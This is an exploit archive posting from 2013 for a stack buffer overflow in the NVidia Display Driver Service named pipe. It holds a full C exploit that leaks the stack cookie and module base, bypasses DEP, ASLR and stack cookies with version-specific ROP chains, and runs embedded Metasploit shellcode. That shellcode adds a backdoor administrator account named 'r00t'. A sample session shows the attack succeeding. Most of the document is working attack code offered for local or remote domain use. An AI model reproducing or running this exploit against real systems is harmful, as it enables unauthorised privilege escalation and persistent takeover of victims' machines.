Exploit the possiblities

NVidia Display Driver Buffer Overflow

NVidia Display Driver Buffer Overflow
Posted Jan 18, 2013
Authored by Peter Winter-Smith, Sean de Regge

This is an exploit for a stack buffer overflow in the NVidia Display Driver Service. The service listens on a named pipe (\\pipe\\nsvr) which has a NULL DACL configured, which should mean that any logged on user or remote user in a domain context (Windows firewall/file sharing permitting) should be able to exploit this vulnerability. This is updated by Sean de Regge to target the 30 Aug 2012 nvvsvc.exe build.

tags | exploit, remote, overflow
systems | windows
MD5 | 09a2cbba01d4f77458184d45199aab55

NVidia Display Driver Buffer Overflow

Change Mirror Download
/*

NVidia Display Driver Service (Nsvr) Exploit - Christmas 2012
- Bypass DEP + ASLR + /GS + CoE
=============================================================
(@peterwintrsmith)

** Initial release 25/12/12
** Update 25/12/12 - Target for 30 Aug 2012 nvvsvc.exe Build - thanks
@seanderegge!

Hey all!

Here is an interesting exploit for a stack buffer overflow in the NVidia
Display Driver Service. The service listens on a named pipe (\pipe\nsvr)
which has a NULL DACL configured, which should mean that any logged on user
or remote user in a domain context (Windows firewall/file sharing
permitting) should be able to exploit this vulnerability.

The buffer overflow occurs as a result of a bad memmove operation, with the
stack layout effectively looking like this:

[locals]
[received-data]
[response-buf]
[stack cookie]
[return address]
[arg space]
[etc]

The memmove copies data from the received-data buffer into the response-buf
buffer, unchecked. It is possible to control the offset from which the copy
starts in the received-data buffer by embedding a variable length string -
which forms part of the protocol message being crafted - as well as the
number of bytes copied into the response buffer.

The amount of data sent back over the named pipe is related to the number
of bytes copied rather than the maximum number of bytes that the buffer is
able to safely contain, so it is possible to leak stack data by copying
from the end of the received-data buffer, through the response-buf buffer
(which is zeroed first time round, and second time round contains whatever
was in it beforehand), right to the end of the stack frame (including stack
cookie and return address).

As the entire block of data copied is sent back, the stack cookie and
nvvsvc.exe base can be determined using the aforementioned process. The
stack is then trashed, but the function servicing pipe messages won't
return until the final message has been received, so it doesn't matter too
much.

It is then possible to exploit the bug by sending two further packets of
data: One containing the leaked stack cookie and a ROP chain dynamically
generated using offsets from the leaked nvvsvc.exe base (which simply fills
the response-buf buffer when this data is echoed back) and a second packet
which contains enough data to trigger an overwrite if data is copied from
the start of the received-data buffer into the response-buf (including the
data we primed the latter to contain - stack cookie and ROP chain).

Allowing the function to then return leads to execution of our ROP chain,
and our strategically placed Metasploit net user /add shellcode! We get
continuation of execution for free because the process spins up a thread
to handle each new connection, and there are no deadlocks etc.

I've included two ROP chains, one which works against the nvvsvc.exe
running by default on my Win7/x64 Dell XPS 15/ NVidia GT540M with drivers
from the Dell site, and one which works against the latest version of the
drivers for the same card, from:
http://www.geforce.co.uk/hardware/desktop-gpus/geforce-gt-540m
http://www.geforce.co.uk/drivers/results/54709

Hope you find this interesting - it's a fun bug to play with!

- Sample Session -


C:\Users\Peter\Desktop\NVDelMe1>net localgroup administrators
Alias name administrators
Comment Administrators have complete and unrestricted access to the computer/domain

Members

-------------------------------------------------------------------------------
Administrator
Peter
The command completed successfully.


C:\Users\Peter\Desktop\NVDelMe1>nvvsvc_expl.exe 127.0.0.1
** Nvvsvc.exe Nsvr Pipe Exploit (Local/Domain) **
[@peterwintrsmith]
- Win7 x64 DEP + ASLR + GS Bypass - Christmas 2012 -

Action 1 of 9: - CONNECT

Action 2 of 9: - CLIENT => SERVER
Written 16416 (0x4020) characters to pipe

Action 3 of 9: - SERVER => CLIENT
Read 16504 (0x4078) characters from pipe

Action 4 of 9: Building exploit ...
=> Stack cookie 0xe2e2893340d4:
=> nvvsvc.exe base 0x13fb90000:

Action 5 of 9: - CLIENT => SERVER
Written 16416 (0x4020) characters to pipe

Action 6 of 9: - SERVER => CLIENT
Read 16384 (0x4000) characters from pipe

Action 7 of 9: - CLIENT => SERVER
Written 16416 (0x4020) characters to pipe

Action 8 of 9: - SERVER => CLIENT
Read 16896 (0x4200) characters from pipe

Action 9 of 9: - DISCONNECT

C:\Users\Peter\Desktop\NVDelMe1>net localgroup administrators
Alias name administrators
Comment Administrators have complete and unrestricted access to the computer/domain

Members

-------------------------------------------------------------------------------
Administrator
Peter
r00t
The command completed successfully.


C:\Users\Peter\Desktop\NVDelMe1>

*/

#include <stdio.h>
#include <Windows.h>

enum EProtocolAction
{
ProtocolAction_Connect = 0,
ProtocolAction_Receive,
ProtocolAction_Send,
ProtocolAction_Disconnect,
ProtocolAction_ReadCookie,
};

typedef struct {
EProtocolAction Action;
PBYTE Buf;
DWORD Length;
} ProtocolMessage;

const int GENERIC_BUF_LENGTH = 0x10000;

#define WriteByte(val) {buf[offs] = val; offs += 1;}
#define WriteWord(val) {*(WORD *)(buf + offs) = val; offs += 2;}
#define WriteDword(val) {*(DWORD *)(buf + offs) = val; offs += 4;}
#define WriteBytes(val, len) {memcpy(buf + offs, val, len); offs += len;}
#define BufRemaining() (sizeof(buf) - offs)

DWORD WritePipe(HANDLE hPipe, void *pBuffer, DWORD cbBuffer)
{
DWORD dwWritten = 0;

if(WriteFile(hPipe, pBuffer, cbBuffer, &dwWritten, NULL))
return dwWritten;

return 0;
}

DWORD ReadPipe(HANDLE hPipe, void *pBuffer, DWORD cbBuffer, BOOL bTimeout = FALSE)
{
DWORD dwRead = 0, dwAvailable = 0;

if(bTimeout)
{
for(DWORD i=0; i < 30; i++)
{
if(!PeekNamedPipe(hPipe, NULL, NULL, NULL, &dwAvailable, NULL))
goto Cleanup;

if(dwAvailable)
break;

Sleep(100);
}

if(!dwAvailable)
goto Cleanup;
}

if(!ReadFile(hPipe, pBuffer, cbBuffer, &dwRead, NULL))
goto Cleanup;

Cleanup:
return dwRead;
}

HANDLE EstablishPipeConnection(char *pszPipe)
{
HANDLE hPipe = CreateFileA(
pszPipe,
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
0,
NULL
);

if(hPipe == INVALID_HANDLE_VALUE)
{
return NULL;
}

return hPipe;
}

BYTE *BuildMalicious_LeakStack()
{
static BYTE buf[0x4020] = {0};
UINT offs = 0;

WriteWord(0x52);

for(UINT i=0; i<0x2000; i++)
WriteWord(0x41);

WriteWord(0);

WriteDword(0);
WriteDword(0x4078);

WriteDword(0x41414141);
WriteDword(0x41414141);
WriteDword(0x41414141);
WriteDword(0x41414141);
WriteDword(0x41414141);

return buf;
}

BYTE *BuildMalicious_FillBuf()
{
static BYTE buf[0x4020] = {0};
UINT offs = 0;

WriteWord(0x52);
WriteWord(0); // string

WriteDword(0);
WriteDword(0x4000);

while(BufRemaining())
WriteDword(0x43434343);

return buf;
}

BYTE *BuildMalicious_OverwriteStack()
{
static BYTE buf[0x4020] = {0};
UINT offs = 0;

WriteWord(0x52);
WriteWord(0); // string

WriteDword(0);
WriteDword(0x4340); // enough to copy shellcode too

while(BufRemaining())
WriteDword(0x42424242);

return buf;
}

int main(int argc, char* argv[])
{
DWORD dwReturnCode = 1, dwBytesInOut = 0;
HANDLE hPipe = NULL;
static BYTE rgReadBuf[GENERIC_BUF_LENGTH] = {0};

printf(
" ** Nvvsvc.exe Nsvr Pipe Exploit (Local/Domain) **\n"
" [@peterwintrsmith]\n"
" - Win7 x64 DEP + ASLR + GS Bypass - Christmas 2012 -\n"
);

if(argc < 2)
{
printf("\tUsage: %s <ip>|local\n\n", argv[0]);

printf(
" !! If exploiting remotely, create a session with the target using your domain credentials !!\n"
"\tCommand: net use \\\\target.ip\\ipc$ /u:domain\\user password\n"
);

goto Cleanup;
}

memset(rgReadBuf, 0, sizeof(rgReadBuf));

ProtocolMessage rgConvoMsg[] = {
{ProtocolAction_Connect, NULL, 0},
{ProtocolAction_Send, BuildMalicious_LeakStack(), 0x4020},
{ProtocolAction_Receive, {0}, 0x4200},
{ProtocolAction_ReadCookie, {0}, 0},
{ProtocolAction_Send, BuildMalicious_FillBuf(), 0x4020},
{ProtocolAction_Receive, {0}, 0x4000},
{ProtocolAction_Send, BuildMalicious_OverwriteStack(), 0x4020},
{ProtocolAction_Receive, {0}, 0x4200},
{ProtocolAction_Disconnect, NULL, 0},
};

DWORD dwNumberOfMessages = sizeof(rgConvoMsg) / sizeof(ProtocolMessage), i = 0;
BOOL bTryAgain = FALSE;
char szPipe[256] = {0};

if(stricmp(argv[1], "local") == 0)
strcpy(szPipe, "\\\\.\\pipe\\nvsr");
else
sprintf(szPipe, "\\\\%s\\pipe\\nvsr", argv[1]);

while(i < dwNumberOfMessages)
{
printf("\n\tAction %u of %u: ", i + 1, dwNumberOfMessages);

switch(rgConvoMsg[i].Action)
{
case ProtocolAction_Connect:
printf(" - CONNECT\n");

hPipe = EstablishPipeConnection(szPipe);
if(!hPipe)
{
printf("!! Unable to create named pipe (GetLastError() = %u [0x%x])\n", GetLastError(), GetLastError());
goto Cleanup;
}

break;
case ProtocolAction_Disconnect:
printf(" - DISCONNECT\n");

CloseHandle(hPipe);
hPipe = NULL;

break;
case ProtocolAction_Send:
printf(" - CLIENT => SERVER\n");

if(!(dwBytesInOut = WritePipe(hPipe, rgConvoMsg[i].Buf, rgConvoMsg[i].Length)))
{
printf("!! Error writing to pipe\n");
goto Cleanup;
}

printf("\t\tWritten %u (0x%x) characters to pipe\n", dwBytesInOut, dwBytesInOut);

break;
case ProtocolAction_Receive:
printf("\t - SERVER => CLIENT\n");

if(!(dwBytesInOut = ReadPipe(hPipe, rgReadBuf, rgConvoMsg[i].Length, FALSE)))
{
printf("!! Error reading from pipe (at least, no data on pipe)\n");
goto Cleanup;
}

printf("\t\tRead %u (0x%x) characters from pipe\n", dwBytesInOut, dwBytesInOut);

break;
case ProtocolAction_ReadCookie:

// x64 Metasploit cmd/exec:
// "net user r00t r00t00r! /add & net localgroup administrators /add"
// exitfunc=thread
char pb_NetAdd_Admin[] = ""
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff"
"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x6d\x64"
"\x20\x2f\x63\x20\x6e\x65\x74\x20\x75\x73\x65\x72\x20\x72\x30"
"\x30\x74\x20\x72\x30\x30\x74\x30\x30\x72\x21\x20\x2f\x61\x64"
"\x64\x20\x26\x20\x6e\x65\x74\x20\x6c\x6f\x63\x61\x6c\x67\x72"
"\x6f\x75\x70\x20\x61\x64\x6d\x69\x6e\x69\x73\x74\x72\x61\x74"
"\x6f\x72\x73\x20\x72\x30\x30\x74\x20\x2f\x61\x64\x64\x00";

printf("Building exploit ...\n");
unsigned __int64 uiStackCookie = *(unsigned __int64 *)(rgReadBuf + 0x4034);
printf("\t\t => Stack cookie 0x%x%x:\n", (DWORD)(uiStackCookie >> 32), (DWORD)uiStackCookie);

memcpy(rgConvoMsg[4].Buf + 0xc + 0xc, &uiStackCookie, 8);

unsigned __int64 uiRetnAddress = *(unsigned __int64 *)(rgReadBuf + 0x4034 + 8), uiBase = 0, *pRopChain = NULL;

// Perform some limited fingerprinting (my default install version, vs latest at time of testing)
switch(uiRetnAddress & 0xfff)
{
case 0x640: // nvvsvc.exe - 03 Nov 2011 - 1,640,768 bytes - md5=3947ad5d03e6abcce037801162fdb90d
{
uiBase = uiRetnAddress - 0x4640;
printf("\t\t => nvvsvc.exe base 0x%x%x:\n", (DWORD)(uiBase >> 32), (DWORD)uiBase);

pRopChain = (unsigned __int64 *)(rgConvoMsg[4].Buf + 0xc + 0xc + (7*8));

// Param 1: lpAddress [r11 (near rsp) into rcx]
pRopChain[0] = uiBase + 0x19e6e; // nvvsvc.exe+0x19e6e: mov rax, r11; retn
pRopChain[1] = uiBase + 0xa6d64; // nvvsvc.exe+0xa6d64: mov rcx, rax; mov eax, [rcx+4]; add rsp, 28h; retn
pRopChain[2] = 0; // Padding
pRopChain[3] = 0; // ...
pRopChain[4] = 0; // ...
pRopChain[5] = 0; // ...
pRopChain[6] = 0; // ...
pRopChain[7] = uiBase + 0x7773; // nvvsvc.exe+0x7773: pop rax; retn
pRopChain[8] = 0x1; // Param 2: dwSize [rdx = 1 (whole page)]
pRopChain[9] = uiBase + 0xa8653; // nvvsvc.exe+0xa8653: mov rdx, rax; mov rax, rdx; add rsp, 28h; retn
pRopChain[10] = 0; // Padding
pRopChain[11] = 0; // ...
pRopChain[12] = 0; // ...
pRopChain[13] = 0; // ...
pRopChain[14] = 0; // ...
pRopChain[15] = uiBase + 0x7772; // nvvsvc.exe+0x7772: pop r8; retn
pRopChain[16] = 0x40; // Param 3: flNewProtect [r8 = 0x40 (PAGE_EXECUTE_READWRITE)]
pRopChain[17] = uiBase + 0x7773; // nvvsvc.exe+0x7773: pop rax; retn
// Param 4: lpflOldProtect [r9 - already points at writable location]
pRopChain[18] = uiBase + 0xfe5e0; // nvvsvc.exe+0xfe5e0: IAT entry &VirtualProtect
pRopChain[19] = uiBase + 0x5d60; // nvvsvc.exe+0x5d60: mov rax, [rax]; retn
pRopChain[20] = uiBase + 0x91a85; // nvvsvc.exe+0x91a85: jmp rax
pRopChain[21] = uiBase + 0xe6251; // nvvsvc.exe+0xe6251: jmp rsp (return address from VirtualProtect)

memcpy(pRopChain + 22, pb_NetAdd_Admin, sizeof(pb_NetAdd_Admin));
}
break;
case 0x9f1: // nvvsvc.exe - 30 Aug 2012 - 891,240 bytes - md5=43f91595049de14c4b61d1e76436164f
{
uiBase = uiRetnAddress - 0x39f1;
printf("\t\t => nvvsvc.exe base 0x%x%x:\n", (DWORD)(uiBase >> 32), (DWORD)uiBase);

pRopChain = (unsigned __int64 *)(rgConvoMsg[4].Buf + 0xc + 0xc + (7*8));

// Param 1: lpAddress [r11 (near rsp) into rcx]
pRopChain[0] = uiBase + 0x15d36; // nvvsvc.exe+0x15d36: mov rax, r11; retn
pRopChain[1] = uiBase + 0x5493c; // nvvsvc.exe+0x5493c: mov rcx, rax; mov eax, [rcx+4]; add rsp, 28h; retn
pRopChain[2] = 0; // Padding ...
pRopChain[3] = 0; // ...
pRopChain[4] = 0; // ...
pRopChain[5] = 0; // ...
pRopChain[6] = 0; // ...
pRopChain[7] = uiBase + 0xd202; // nvvsvc.exe+0xd202: pop rax; retn
pRopChain[8] = 0x1; // Param 2: dwSize [rdx = 1 (whole page)]
pRopChain[9] = uiBase + 0x55dbf; // nvvsvc.exe+0x55dbf: mov rdx, rax; mov rax, rdx; add rsp, 28h; retn
pRopChain[10] = 0; // Padding ...
pRopChain[11] = 0; // ...
pRopChain[12] = 0; // ...
pRopChain[13] = 0; // ...
pRopChain[14] = 0; // ...
// Param 3: flNewProtect [r8 = 0x40 (PAGE_EXECUTE_READWRITE)]
pRopChain[15] = uiBase + 0xd202; // nvvsvc.exe+0xd202: pop rax; retn
pRopChain[16] = 0x40; // PAGE_EXECUTE_READWRITE
pRopChain[17] = uiBase + 0x8b92; // nvvsvc.exe+0x55dbf: mov r8d, eax; mov eax, r8d; add rsp, 28h; retn
pRopChain[18] = 0; // Padding ...
pRopChain[19] = 0; // ...
pRopChain[20] = 0; // ...
pRopChain[21] = 0; // ...
pRopChain[22] = 0; // ...
// Param 4: lpflOldProtect [r9 - already points at writable location]
pRopChain[23] = uiBase + 0xd202; // nvvsvc.exe+0xd202: pop rax; retn
pRopChain[24] = uiBase + 0x91308; // IAT entry &VirtualProtect - 0x130
pRopChain[25] = uiBase + 0x82989; // nvvsvc.exe+0x82989: mov rax, [rax+130h]; add rsp, 28h; retn
pRopChain[26] = 0; // Padding ...
pRopChain[27] = 0; // ...
pRopChain[28] = 0; // ...
pRopChain[29] = 0; // ...
pRopChain[30] = 0; // ...
pRopChain[31] = uiBase + 0x44ba6; // nvvsvc.exe+0x44ba6: jmp eax
pRopChain[32] = uiBase + 0x77c59; // nvvsvc.exe+0x77c59: jmp esp

memcpy(pRopChain + 33, pb_NetAdd_Admin, sizeof(pb_NetAdd_Admin));
}
break;
case 0xa11: // nvvsvc.exe - 01 Dec 2012 - 890,216 md5=3341d2c91989bc87c3c0baa97c27253b
{
uiBase = uiRetnAddress - 0x3a11;
printf("\t\t => nvvsvc.exe base 0x%x%x:\n", (DWORD)(uiBase >> 32), (DWORD)uiBase);

pRopChain = (unsigned __int64 *)(rgConvoMsg[4].Buf + 0xc + 0xc + (7*8));

// Param 1: lpAddress [r11 (near rsp) into rcx]
pRopChain[0] = uiBase + 0x15b52; // nvvsvc.exe+0x15b52: mov rax, r11; retn
pRopChain[1] = uiBase + 0x54d4c; // nvvsvc.exe+0x54d4c: mov rcx, rax; mov eax, [rcx+4]; add rsp, 28h; retn
pRopChain[2] = 0; // Padding ...
pRopChain[3] = 0; // ...
pRopChain[4] = 0; // ...
pRopChain[5] = 0; // ...
pRopChain[6] = 0; // ...
pRopChain[7] = uiBase + 0x8d7aa; // nvvsvc.exe+0x8d7aa: pop rdx; add al, 0; pop rbp; retn
pRopChain[8] = 0x1; // Param 2: dwSize [rdx = 1 (whole page)]
pRopChain[9] = 0; // Padding ...
// Param 3: flNewProtect [r8 = 0x40 (PAGE_EXECUTE_READWRITE)]
pRopChain[10] = uiBase + 0xd33a; // nvvsvc.exe+0xd33a: pop rax; retn
pRopChain[11] = 0x40; // PAGE_EXECUTE_READWRITE
pRopChain[12] = uiBase + 0x8d26; // nvvsvc.exe+0x8d26: mov r8d, eax; mov eax, r8d; add rsp, 28h; retn
pRopChain[13] = 0; // Padding ...
pRopChain[14] = 0; // ...
pRopChain[15] = 0; // ...
pRopChain[16] = 0; // ...
pRopChain[17] = 0; // ...
// Param 4: lpflOldProtect [r9 - already points at writable location]
pRopChain[18] = uiBase + 0xd33a; // nvvsvc.exe+0xd33a: pop rax; retn
pRopChain[19] = uiBase + 0x91310; // IAT entry &VirtualProtect - 0x128
pRopChain[20] = uiBase + 0x82851; // nvvsvc.exe+0x82851: mov rax, [rax+128h]; add rsp, 28h; retn
pRopChain[21] = 0; // Padding ...
pRopChain[22] = 0; // ...
pRopChain[23] = 0; // ...
pRopChain[24] = 0; // ...
pRopChain[25] = 0; // ...
pRopChain[26] = uiBase + 0x44fb6; // nvvsvc.exe+0x44fb6: jmp rax
pRopChain[27] = uiBase + 0x8a0dc; // nvvsvc.exe+0x8a0dc: push rsp; retn

memcpy(pRopChain + 28, pb_NetAdd_Admin, sizeof(pb_NetAdd_Admin));
}
break;
}

break;
}

i++;
}

dwReturnCode = 0;
Cleanup:
if(hPipe)
CloseHandle(hPipe);

return dwReturnCode;
}


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